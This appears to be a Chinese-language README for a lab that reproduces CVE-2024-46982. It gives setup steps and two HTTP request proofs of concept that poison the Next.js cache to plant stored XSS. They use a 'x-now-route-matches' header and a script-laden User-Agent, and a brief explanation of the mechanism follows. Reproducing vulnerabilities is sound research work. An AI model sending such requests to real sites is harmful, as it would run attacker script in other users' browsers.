CVE-2024-46982-Reproduction

开始使用

1. 安装 Node.js LTS
2. npm install
3. npm run build
4. npm run start

利用方法 1：通过缓存投毒实现存储型 XSS

1. 使用任意 HTTP 客户端发送以下 HTTP 请求（攻击请求）。

GET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. 使用任意 Web 浏览器访问 http://localhost:3000（正常请求）。

利用方法 2：通过缓存投毒实现存储型 XSS

1. 使用任意 HTTP 客户端发送以下 HTTP 请求（攻击请求），请务必将 "UiKoKFFGnF1td3mMyeDX5" 替换为你的 ".next/BUILD_ID"

GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. 使用任意 Web 浏览器访问 http://localhost:3000（正常请求）。

它是如何工作的？

1. x-now-route-matches 是 Next.js 识别的自定义 HTTP 头部。当存在此头部时，Next.js 会将 HTTP 请求视为“SSG”（静态站点生成），因此 HTTP 响应可被缓存（Cache-Control: s-maxage=1, stale-while-revalidate）。

2. ?__nextDataReq=1 是 Next.js 识别的查询字符串。当存在此参数时，Next.js 会将 HTTP 请求视为“获取 __NEXT_DATA__”。

完整的技术分析文章可在 致谢 部分找到。

致谢

• https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir